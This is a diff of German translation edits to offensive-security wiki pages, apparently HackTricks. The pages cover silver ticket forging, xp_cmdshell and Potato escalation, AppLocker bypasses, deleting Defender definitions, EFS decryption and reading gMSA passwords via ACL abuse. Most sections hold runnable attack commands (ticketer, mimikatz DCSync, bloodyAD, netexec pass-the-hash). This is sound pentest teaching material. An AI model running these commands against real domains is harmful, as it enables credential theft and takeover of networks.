+Wenn du den NTLM-Hash (oder AES-Key) eines SQL-Servicekontos (z. B. sqlsvc) hast, kannst du ein TGS für den MSSQL SPN fälschen und dich gegenüber dem SQL-Service als beliebiger Benutzer impersonifizieren. Von dort aus xp_cmdshell aktivieren, um Befehle als das SQL-Servicekonto auszuführen. Wenn dieses Token SeImpersonatePrivilege hat, kannst du eine Potato chainen, um auf SYSTEM zu eskalieren.
 ```bash
 # Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
 python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
 impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
 -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
 ```
- Wenn der resultierende Kontext SeImpersonatePrivilege hat (oft zutreffend bei service accounts), verwende eine Potato variant, um SYSTEM zu erhalten:
+- Wenn der resultierende Kontext SeImpersonatePrivilege hat (oft der Fall bei service accounts), verwende eine Potato-Variante, um SYSTEM zu erhalten:
 ```bash
 # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
 PrintSpoofer.exe -c "cmd /c whoami"
 # or
 GodPotato -cmd "cmd /c whoami"
 ```
-Mehr Details zum Missbrauch von MSSQL und zum Aktivieren von xp_cmdshell:
+Weitere Details zum Missbrauch von MSSQL und zur Aktivierung von xp_cmdshell:

 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}

-Potato techniques Übersicht:
+Übersicht der Potato-Techniken:

 {{#ref}}
 ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -73,22 +73,22 @@ Potato techniques Übersicht:

 ## Verfügbare Dienste

-| Diensttyp                                  | Service Silver Tickets                                                     |
+| Diensttyp                                   | Service Silver Tickets                                                     |
 | ------------------------------------------ | -------------------------------------------------------------------------- |
 | WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
-| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
-| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
-| Scheduled Tasks                            | HOST                                                                       |
+| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Je nach OS auch:</p><p>WSMAN</p><p>RPCSS</p>      |
+| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In manchen Fällen können Sie einfach WINRM anfordern</p> |
+| Geplante Tasks                             | HOST                                                                       |
 | Windows File Share, also psexec            | CIFS                                                                       |
-| LDAP operations, included DCSync           | LDAP                                                                       |
+| LDAP-Operationen, inklusive DCSync         | LDAP                                                                       |
 | Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
 | Golden Tickets                             | krbtgt                                                                     |

-Using **Rubeus** you may **ask for all** these tickets using the parameter:
+Mit **Rubeus** können Sie **alle** diese Tickets mit dem Parameter anfordern:

 - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`

-### Silver tickets Ereignis-IDs
+### Silver tickets Event-IDs

 - 4624: Account Logon
 - 4634: Account Logoff
@ -96,21 +96,21 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter:

 ## Persistenz

-Damit Maschinen ihre Passwörter nicht alle 30 Tage rotieren, setze `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder du kannst `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen Wert größer als 30 Tage setzen, um den Rotationszeitraum anzugeben.
+Um zu verhindern, dass Maschinen ihr Passwort alle 30 Tage ändern, setzen Sie `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder Sie können `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen größeren Wert als 30 Tage setzen, um die Rotationsperiode anzugeben, nach der das Maschinenpasswort geändert werden soll.

-## Missbrauch von Service tickets
+## Missbrauch von Service-Tickets

-In den folgenden Beispielen nehmen wir an, dass das Ticket unter Impersonation des Administrator-Accounts erlangt wurde.
+In den folgenden Beispielen nehmen wir an, dass das Ticket durch das Impersonieren des Administrator-Kontos abgerufen wurde.

 ### CIFS

-Mit diesem Ticket kannst du auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (falls sie erreichbar sind) und Dateien in Teile des entfernten Dateisystems kopieren, indem du etwa Folgendes ausführst:
+Mit diesem Ticket können Sie auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (wenn sie freigegeben sind) und Dateien in einen Teil des entfernten Dateisystems kopieren, indem Sie etwas wie Folgendes tun:
 ```bash
 dir \\vulnerable.computer\C$
 dir \\vulnerable.computer\ADMIN$
 copy afile.txt \\vulnerable.computer\C$\Windows\Temp
 ```
-Sie können außerdem eine Shell auf dem Host erhalten oder beliebige Befehle mit **psexec** ausführen:
+Du kannst auch eine Shell auf dem Host erhalten oder beliebige Befehle mit **psexec** ausführen:


 {{#ref}}
@ -119,7 +119,7 @@ Sie können außerdem eine Shell auf dem Host erhalten oder beliebige Befehle mi

 ### HOST

-Mit dieser Berechtigung können Sie geplante Aufgaben auf entfernten Computern erstellen und beliebige Befehle ausführen:
+Mit dieser Berechtigung kannst du auf entfernten Computern geplante Aufgaben erstellen und beliebige Befehle ausführen:
 ```bash
 #Check you have permissions to use schtasks over a remote server
 schtasks /S some.vuln.pc
@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
 ```
 ### HOST + RPCSS

-Mit diesen Tickets kannst du **WMI im Zielsystem ausführen**:
+Mit diesen Tickets kannst du **WMI auf dem Zielsystem ausführen**:
 ```bash
 #Check you have enough privileges
 Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
 #You can also use wmic
 wmic remote.computer.local list full /format:list
 ```
-Finden Sie **mehr Informationen über wmiexec** auf der folgenden Seite:
+Auf der folgenden Seite findest du weitere Informationen zu **wmiexec**:

 {{#ref}}
 ../lateral-movement/wmiexec.md
@ -151,11 +151,11 @@ Finden Sie **mehr Informationen über wmiexec** auf der folgenden Seite:

 ### HOST + WSMAN (WINRM)

-Mit winrm-Zugriff auf einen Computer können Sie **darauf zugreifen** und sogar eine PowerShell erhalten:
+Mit winrm-Zugang zu einem Computer kannst du **auf ihn zugreifen** und sogar eine PowerShell erhalten:
 ```bash
 New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 ```
-Schau dir die folgende Seite an, um **weitere Möglichkeiten kennenzulernen, mit winrm eine Verbindung zu einem Remote-Host herzustellen**:
+Siehe die folgende Seite, um **weitere Möglichkeiten zu erfahren, wie man sich mit einem entfernten Host über winrm verbindet**:


 {{#ref}}
@ -163,15 +163,15 @@ Schau dir die folgende Seite an, um **weitere Möglichkeiten kennenzulernen, mit
 {{#endref}}

 > [!WARNING]
-> Beachte, dass **winrm auf dem Remote-Computer aktiv sein und auf eingehende Verbindungen hören muss**, um darauf zuzugreifen.
+> Beachte, dass **winrm auf dem entfernten Computer aktiv sein und lauschen muss**, um darauf zugreifen zu können.

 ### LDAP

-Mit diesem Privileg kannst du die DC-Datenbank mit **DCSync** auslesen:
+Mit diesem Recht kannst du die DC-Datenbank mit **DCSync** dumpen:
 ```
 mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
 ```
-**Erfahren Sie mehr über DCSync** auf der folgenden Seite:
+**Erfahre mehr über DCSync** auf der folgenden Seite:


 {{#ref}}
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@ -4,14 +4,14 @@

 ## AppLocker-Richtlinie

-Eine Anwendungs-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein dürfen und ausgeführt werden können. Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht den spezifischen geschäftlichen Anforderungen einer Organisation entspricht.
+Eine Application-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein dürfen und ausgeführt werden können. Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht den spezifischen Geschäftsanforderungen einer Organisation entspricht.

-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung für Application Whitelisting** und gibt Systemadministratoren Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installer-Dateien, DLLs, verpackte Apps und App-Installer.\
-Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe blockieren** und Schreibzugriff auf bestimmte Verzeichnisse einschränken, **aber all das kann umgangen werden**.
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung für Application Whitelisting** und gibt Systemadministratoren die Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installer-Dateien, DLLs, packaged apps und packed app installers.\
+Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe** sowie Schreibzugriff auf bestimmte Verzeichnisse blockieren, **aber all das lässt sich umgehen**.

-### Prüfen
+### Überprüfen

-Prüfe, welche Dateien/Erweiterungen auf der Blacklist/Whitelist stehen:
+Überprüfe, welche Dateien/Erweiterungen blockiert oder zugelassen sind:
 ```bash
 Get-ApplockerPolicy -Effective -xml

@ -20,25 +20,25 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Dieser Registry-Pfad enthält die von AppLocker angewendeten Konfigurationen und Richtlinien und ermöglicht so die Überprüfung der aktuell auf dem System durchgesetzten Regeln:
+Dieser Registry-Pfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuell auf dem System durchgesetzten Regeln zu überprüfen:

 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`

 ### Bypass

- Nützliche **Writable folders** to bypass AppLocker Policy: Wenn AppLocker die Ausführung von Dateien innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **writable folders**, die du verwenden kannst, um **bypass this**.
+- Nützliche **Writable folders** zum Umgehen der AppLocker Policy: Wenn AppLocker die Ausführung von beliebigen Dateien innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **writable folders**, die du verwenden kannst, um dies zu **bypass**.
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
 C:\Windows\Tasks
 C:\windows\tracing
 ```
- Häufig als **vertrauenswürdig** angesehene [**"LOLBAS's"**] Binaries können ebenfalls nützlich sein, um AppLocker zu umgehen.
+- Häufig **vertrauenswürdige** [**"LOLBAS's"**](https://lolbas-project.github.io/) Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen.
 - **Schlecht geschriebene Regeln können ebenfalls umgangen werden**
- Zum Beispiel bei **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, kann man überall einen **Ordner namens `allowed`** erstellen und er wird erlaubt.
- Organisationen konzentrieren sich oft darauf, die ausführbare Datei **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** zu blockieren, vergessen jedoch die **anderen** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`.
- **DLL enforcement** ist aufgrund der zusätzlichen Last, die es auf ein System bringen kann, und des notwendigen Testaufwands sehr selten aktiviert. Daher hilft die Nutzung von **DLLs as backdoors**, AppLocker zu umgehen.
- Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
+- Zum Beispiel, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, Sie können überall einen **Ordner namens `allowed`** erstellen und er wird erlaubt.
+- Organisationen konzentrieren sich oft darauf, **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** zu blockieren, vergessen aber die **anderen** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`.
+- **DLL enforcement** wird sehr selten aktiviert, weil es zusätzliche Last für ein System bedeuten kann und umfangreiche Tests nötig sind, um sicherzustellen, dass nichts kaputtgeht. Daher hilft die Nutzung von **DLLs als backdoors**, AppLocker zu umgehen.
+- Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **execute Powershell** code in einem beliebigen Prozess auszuführen und AppLocker zu umgehen. Für mehr Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).

 ## Speicherung von Anmeldeinformationen

@ -48,20 +48,20 @@ Lokale Anmeldeinformationen befinden sich in dieser Datei, die Passwörter sind

 ### Local Security Authority (LSA) - LSASS

-Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen des Single Sign-On gespeichert.\
-**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerrechte...), **Authentifizierung**, **access tokens**...\
-Die LSA ist die Komponente, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei (bei einer lokalen Anmeldung) **prüft** und mit dem **domain controller** kommuniziert, um einen Domänenbenutzer zu authentifizieren.
+Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen des Single Sign-On abgelegt.\
+**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerberechtigungen...), **Authentifizierung**, **Access Tokens**...\
+LSA wird die Komponente sein, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei prüft (bei einer lokalen Anmeldung) und mit dem **Domain Controller** spricht, um einen Domänenbenutzer zu authentifizieren.

 Die **Anmeldeinformationen** werden im **Prozess LSASS** gespeichert: Kerberos-Tickets, NT- und LM-Hashes, leicht entschlüsselbare Passwörter.

-### LSA secrets
+### LSA-Secrets

 LSA kann einige Anmeldeinformationen auf der Festplatte speichern:

- Passwort des Computerkontos im Active Directory (domain controller nicht erreichbar).
- Passwörter der Konten von Windows-Diensten
- Passwörter für geplante Aufgaben
- Mehr (Passwort von IIS-Anwendungen...)
+- Passwort des Computerkontos im Active Directory (z. B. wenn der Domain Controller nicht erreichbar ist).
+- Passwörter von Dienstkonten von Windows Services
+- Passwörter für geplante Tasks
+- Mehr (Passwörter von IIS-Anwendungen...)

 ### NTDS.dit

@ -71,9 +71,9 @@ Es ist die Datenbank des Active Directory. Sie ist nur auf Domain Controllern vo

 [**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ist ein Antivirus, der in Windows 10 und Windows 11 sowie in Versionen von Windows Server verfügbar ist. Er **blockiert** gängige pentesting-Tools wie **`WinPEAS`**. Es gibt jedoch Wege, diese Schutzmaßnahmen zu **umgehen**.

-### Check
+### Überprüfen

-Um den **Status** von **Defender** zu überprüfen, kannst du das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (prüfe den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist):
+Um den **Status** von **Defender** zu prüfen, können Sie das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (prüfen Sie den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist):

 <pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus

@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 </code></pre>

-Um es zu enumerieren, könntest du auch ausführen:
+Zur Aufzählung können Sie auch ausführen:
 ```bash
 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
 wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,36 +101,36 @@ sc query windefend
 #Delete all rules of Defender (useful for machines without internet access)
 "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
 ```
-## Encrypted File System (EFS)
+## Verschlüsseltes Dateisystem (EFS)

-EFS sichert Dateien durch Verschlüsselung und verwendet einen **symmetrischen Schlüssel**, bekannt als **File Encryption Key (FEK)**. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternative data stream** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Mehr Details sind [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) zu finden.
+EFS sichert Dateien durch Verschlüsselung unter Verwendung eines **symmetrischen Schlüssels**, bekannt als **File Encryption Key (FEK)**. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im verschlüsselten Datei-$EFS **alternate data stream** gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der zugehörige **private key** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Mehr Details finden sich [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).

-**Entschlüsselungsszenarien ohne Benutzereingriff** umfassen:
+**Entschlüsselungsszenarien ohne Benutzerinitiation** umfassen:

- Wenn Dateien oder Ordner auf ein nicht-EFS-Dateisystem verschoben werden, wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), werden sie automatisch entschlüsselt.
- Verschlüsselte Dateien, die über das Netzwerk via SMB/CIFS übertragen werden, werden vor der Übertragung entschlüsselt.
+- Wenn Dateien oder Ordner in ein nicht-EFS-Dateisystem verschoben werden, wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), werden sie automatisch entschlüsselt.
+- Verschlüsselte Dateien, die über das Netzwerk via SMB/CIFS-Protokoll gesendet werden, werden vor der Übertragung entschlüsselt.

-Diese Verschlüsselungsmethode erlaubt dem Besitzer **transparenten Zugriff** auf verschlüsselte Dateien. Allerdings reicht es nicht aus, einfach das Passwort des Besitzers zu ändern und sich anzumelden, um die Dateien zu entschlüsseln.
+Diese Verschlüsselungsmethode erlaubt dem **Eigentümer** einen **transparenten Zugriff** auf verschlüsselte Dateien. Allerdings ermöglicht alleiniges Ändern des Benutzerpassworts und erneutes Anmelden keine Entschlüsselung.

-**Wichtige Erkenntnisse**:
+**Wichtigste Punkte**:

- EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt ist.
- Die Entschlüsselung verwendet den privaten Schlüssel des Benutzers, um auf den FEK zuzugreifen.
- Automatische Entschlüsselung tritt unter bestimmten Bedingungen auf, z. B. beim Kopieren auf FAT32 oder bei Netzwerkübertragung.
- Verschlüsselte Dateien sind für den Besitzer ohne zusätzliche Schritte zugänglich.
+- EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt wird.
+- Zur Entschlüsselung wird der private Schlüssel des Benutzers verwendet, um auf den FEK zuzugreifen.
+- Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, z. B. beim Kopieren auf FAT32 oder bei Netzwerkübertragung.
+- Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich.

 ### Check EFS info

-Prüfe, ob ein **Benutzer** diesen **Dienst** verwendet hat, indem du prüfst, ob folgender Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
+Überprüfe, ob ein **Benutzer** diesen **Dienst** verwendet hat, indem du prüfst, ob folgender Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`

-Überprüfe, **wer** Zugriff auf die Datei hat, mit cipher /c \<file\>  
+Prüfe **wer** Zugriff auf die Datei hat mit `cipher /c \<file>\`  
 Du kannst auch `cipher /e` und `cipher /d` in einem Ordner verwenden, um alle Dateien zu **verschlüsseln** bzw. **entschlüsseln**.

 ### Decrypting EFS files

 #### Being Authority System

-Dieser Weg setzt voraus, dass der **Opferbenutzer** einen **Prozess** auf dem Host ausführt. Falls das der Fall ist, kannst du mit einer `meterpreter`-Session den Token des Benutzerprozesses impersonieren (`impersonate_token` von `incognito`). Oder du könntest einfach in den Prozess des Benutzers `migrate`.
+Dieser Weg erfordert, dass der Opfer-Benutzer einen Prozess auf dem Host ausführt. Falls das der Fall ist, kannst du mit einer `meterpreter`-Session das Token des Prozesses des Benutzers impersonifizieren (`impersonate_token` from `incognito`). Oder du könntest einfach in den Prozess des Benutzers `migrate`.

 #### Knowing the users password

@ -141,64 +141,64 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files

 ## Group Managed Service Accounts (gMSA)

-Microsoft hat **Group Managed Service Accounts (gMSA)** entwickelt, um die Verwaltung von Servicekonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Servicekonten, die häufig die Einstellung "**Password never expire**" aktiviert haben, bieten gMSAs eine sicherere und besser verwaltbare Lösung:
+Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Servicekonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Servicekonten, die oft die Einstellung "**Password never expire**" aktiviert haben, bieten gMSAs eine sicherere und besser verwaltbare Lösung:

- **Automatic Password Management**: gMSAs verwenden ein komplexes, 240-stelliges Passwort, das automatisch gemäß den Richtlinien der Domain oder des Computers geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft gehandhabt, wodurch manuelle Passwortaktualisierungen entfallen.
- **Enhanced Security**: Diese Konten sind gegen Sperrungen immun und können nicht für interaktive Logins verwendet werden, was ihre Sicherheit erhöht.
- **Multiple Host Support**: gMSAs können über mehrere Hosts geteilt werden, wodurch sie ideal für Dienste sind, die auf mehreren Servern laufen.
- **Scheduled Task Capability**: Im Gegensatz zu managed service accounts unterstützen gMSAs das Ausführen geplanter Aufgaben.
- **Simplified SPN Management**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn sich die sAMaccount-Details des Computers oder dessen DNS-Name ändern, was die SPN-Verwaltung vereinfacht.
+- **Automatic Password Management**: gMSAs verwenden ein komplexes, 240-stelliges Passwort, das automatisch gemäß Domain- oder Computer-Richtlinie geändert wird. Dieser Prozess wird vom Microsoft Key Distribution Service (KDC) gehandhabt und eliminiert den Bedarf an manuellen Passwortaktualisierungen.
+- **Enhanced Security**: Diese Konten sind gegen Lockouts immun und können nicht für interaktive Logins verwendet werden, was ihre Sicherheit erhöht.
+- **Multiple Host Support**: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern laufen.
+- **Scheduled Task Capability**: Im Gegensatz zu managed service accounts unterstützen gMSAs das Ausführen geplanter Tasks.
+- **Simplified SPN Management**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn sich sAMaccount-Details oder der DNS-Name des Computers ändern, was das SPN-Management vereinfacht.

-Die Passwörter für gMSAs werden in der LDAP-Eigenschaft _**msDS-ManagedPassword**_ gespeichert und von Domain Controllers (DCs) alle 30 Tage automatisch zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob bekannt als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, was eine sichere Umgebung gewährleistet. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich, oder die Verbindung muss mit 'Sealing & Secure' authentifiziert sein.
+Die Passwörter für gMSAs werden in der LDAP-Property _**msDS-ManagedPassword**_ gespeichert und von Domain Controllern (DCs) alle 30 Tage automatisch zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob bekannt als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, was eine sichere Umgebung gewährleistet. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich oder die Verbindung muss mit 'Sealing & Secure' authentifiziert sein.

 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)

-Du kannst dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader) auslesen:
+Du kannst dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
 ```
 /GMSAPasswordReader --AccountName jkohler
 ```
 [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)

-Sieh dir außerdem diese [web page](https://cube0x0.github.io/Relaying-for-gMSA/) an, um zu erfahren, wie man eine **NTLM relay attack** durchführt, um das **password** von **gMSA** zu **read**.
+Schauen Sie sich auch diese [web page] an, die beschreibt, wie man einen **NTLM relay attack** ausführt, um das **password** des **gMSA** zu **read**.

-### Ausnutzen von ACL-Chaining, um das verwaltete gMSA-Passwort zu lesen (GenericAll -> ReadGMSAPassword)
+### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)

-In vielen Umgebungen können Benutzer mit geringen Rechten zu gMSA-Geheimnissen pivotieren, ohne den DC zu kompromittieren, indem sie fehlkonfigurierte Objekt-ACLs ausnutzen:
+In vielen Umgebungen können low-privileged users ohne Kompromittierung des DC auf gMSA-Secrets pivotieren, indem sie fehlkonfigurierte Objekt-ACLs ausnutzen:

- Eine Gruppe, die du kontrollieren kannst (z. B. via GenericAll/GenericWrite), erhält `ReadGMSAPassword` für ein gMSA.
- Wenn du dich dieser Gruppe hinzufügst, erbst du das Recht, das `msDS-ManagedPassword`-Blob des gMSA über LDAP zu lesen und daraus verwendbare NTLM-Credentials abzuleiten.
+- Eine Gruppe, die Sie kontrollieren können (z. B. via GenericAll/GenericWrite), erhält `ReadGMSAPassword` für ein gMSA.
+- Indem Sie sich selbst zu dieser Gruppe hinzufügen, erben Sie das Recht, das `msDS-ManagedPassword`-Blob des gMSA über LDAP zu lesen und daraus verwertbare NTLM-Anmeldeinformationen abzuleiten.

 Typischer Ablauf:

-1) Finde den Pfad mit BloodHound und markiere deine Foothold-Principals als Owned. Suche nach Kanten wie:
+1) Discover the path mit BloodHound und markieren Sie Ihre foothold principals als Owned. Suchen Sie nach Kanten wie:
 - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA

-2) Füge dich der zwischengeschalteten Gruppe hinzu, die du kontrollierst (Beispiel mit bloodyAD):
+2) Fügen Sie sich der zwischengeschalteten Gruppe hinzu, die Sie kontrollieren (Beispiel mit bloodyAD):
 ```bash
 bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
 ```
-3) Das gMSA verwaltete Passwort über LDAP auslesen und den NTLM-Hash ableiten. NetExec automatisiert die Extraktion von `msDS-ManagedPassword` und die Konvertierung zu NTLM:
+3) Das gMSA verwaltete Passwort über LDAP auslesen und daraus den NTLM-Hash ableiten. NetExec automatisiert die Extraktion von `msDS-ManagedPassword` und die Konvertierung in NTLM:
 ```bash
 # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
 netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
 # Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
 ```
-4) Authentifiziere dich als gMSA mit dem NTLM hash (kein Klartext erforderlich). Wenn das Konto in Remote Management Users ist, funktioniert WinRM direkt:
+4) Als gMSA mit dem NTLM-Hash authentifizieren (kein Klartext erforderlich). Wenn das Konto in Remote Management Users ist, funktioniert WinRM direkt:
 ```bash
 # SMB / WinRM as the gMSA using the NT hash
 netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 ```
 Hinweise:
- LDAP-Abfragen des `msDS-ManagedPassword` erfordern Sealing (z. B. LDAPS/sign+seal). Tools erledigen das automatisch.
- gMSAs erhalten oft lokale Rechte wie WinRM; überprüfe die Gruppenmitgliedschaft (z. B. Remote Management Users), um laterale Bewegung zu planen.
- Wenn du nur das Blob brauchst, um das NTLM selbst zu berechnen, siehe die MSDS-MANAGEDPASSWORD_BLOB-Struktur.
